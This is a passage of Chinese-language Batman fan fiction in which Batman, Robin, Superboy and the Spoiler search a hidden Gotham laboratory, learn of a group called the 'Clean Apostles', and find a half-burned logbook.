四个人的力量是巨大的,十几只利爪也确实如达米安所说,有点不够分,不过能够迅速解决也是一件好事。 七零八落的利爪残肢堆叠在狭窄的甬道内,三个年纪不大的少年人还好,尚且能直立行走,但身材高大的蝙蝠侠可就没那么好受了,他得一直弯着腰才行。 顺着甬道向前走去,不一会就进入了一个相对宽阔的空间,蝙蝠侠的眉头已经皱了起来,他对哥谭的下水道系统路线早已烂熟于心,但这是一处相当完备的地下空间,必然经历过长时间的修缮,他甚至每天夜巡的时候都会经过这初处地点的上空,但却完全没有发现。 这很不合理。 罗宾和超级小子已经各自散开搜寻,搅局者则是打开通讯频道,接入神谕的通话。 “晚上好,诸位。”芭芭拉的声音从几人的内置耳麦中响起,代表神谕已经接管了频道,“我已经将这座地下空间的路线图标记好了,每人一份,注意重点标记的是陷阱,bat,你知道这是什么时候出现的地下空腔吗?” 看来曾经作为蝙蝠女出现的芭芭拉也对这一处突然冒出来的地下空间有着同样的困惑。 “暂时没有明确。”蝙蝠侠的回应非常简短,“继续搜寻。” 偌大的空间好似只有外面甬道里布守的十几只利爪,正式进入这里之后却并没有任何活动的防御措施。 是疏忽,还是觉得不会有人能探查到这里? 蝙蝠侠检查了一部分空间内的设施,很快就得出了一个相当惊人的结论。 “这里并不属于猫头鹰议会,没有任何属于猫头鹰的标记。”他放下手里拿着的一些碎裂的试管残片,若有所思地目光扫视一圈,最终定格在空间内的一处相当不起眼的角落。 “洁净......使徒?”搅局者慢慢念出那几个单词。 “tt,好俗气的名字。”达米安嫌弃地走远了一些。 小乔倒是凑近了去看那几个单词,“洁净师徒?” 他不太认识后面那个单词,因此只能简单复述搅局者的话,发音并不标准。 对于在场的四个人来说,这个称呼都算得上是极为陌生的,在此之前从未听说过哥谭有这么一号人物。 “猫头鹰议会派出利爪保护这里,但这里什么都没有,这只是一个废弃了的实验室。”罗宾走到蝙蝠侠身边,仰起头看他,“我认为接下来需要重点追查洁净使徒。” “他们必然还有其他的实验室,而这也必然跟夜翼的穿越和高维世界融合有关。” 蝙蝠侠沉思片刻,却说出了另一种结论。 “利爪并不是来保护实验室的。” 正相反。 利爪是来摧毁这个实验室的。 是什么促使他们有了分歧? “继续搜查,我们还有尚未找到的线索。”蝙蝠侠率先迈开步伐,向着空间内其中一处拐角走去。 他很快就找到了新的线索。 半本尚未被燃烧殆尽的记录手册。 他小心地翻开因火焰撩灼之后变得又脆又薄的纸张,逐字逐句查看上面的内容。